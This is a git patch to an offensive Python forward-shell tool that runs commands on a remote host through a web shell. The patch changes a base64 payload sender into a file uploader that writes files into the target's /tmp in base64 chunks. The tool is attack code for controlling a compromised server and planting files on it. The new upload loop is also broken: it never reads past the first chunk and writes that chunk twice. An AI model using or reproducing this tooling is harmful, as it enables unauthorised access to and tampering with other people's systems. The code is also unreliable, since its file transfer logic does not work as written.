From a19314573dd7bc8979e7e2cf4b02b528676d2ddf Mon Sep 17 00:00:00 2001 From: Isaac Parenteau Date: Fri, 4 Mar 2022 23:12:37 -0500 Subject: [PATCH] Changed functionality to upload file --- forward_shell.py | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/forward_shell.py b/forward_shell.py index 4ecc503..40e1fb9 100644 --- a/forward_shell.py +++ b/forward_shell.py @@ -5,6 +5,7 @@ # Authors: Isaac Parenteau, ippsec, 0xdf import base64 +import os import random import requests import threading @@ -12,8 +13,6 @@ import time import jwt -PAYLOAD = """Base64 Payload goes here""" - class WebShell(object): def __init__(self, remote_host='http://172.16.1.22', remote_port=3000, @@ -96,21 +95,22 @@ class WebShell(object): print(upgrade_shell) self.write_command(upgrade_shell) - def send_payload(self): + def send_file(self): """ :return: """ - print('Sending payload') - payloads = PAYLOAD.splitlines() + file = input("Please enter path to file: ") + file_name = os.path.basename(file) - payload_cmd = f'cd /tmp && echo {payloads.pop(0)} > myFile.txt' - self.write_command(payload_cmd, timeout=30) - for p in payloads: - payload_cmd = f'cd /tmp && echo {p} >> myFile.txt' - self.write_command(payload_cmd, timeout=30) + print(f'Uploading File {file_name}') + with open(file, 'rb') as f: + chunk = f.read(1024) + self.write_command(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d > {file_name}') + while chunk: + self.write_command(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d >> {file_name}') - print('Done Sending Payload') + print('Done Sending File') prompt = "Please Subscribe> " @@ -120,7 +120,7 @@ while True: if cmd == "upgrade": prompt = "" s.upgrade_shell() - elif cmd == "payload": - s.send_payload() + elif cmd == "upload": + s.send_file() else: s.write_command(cmd)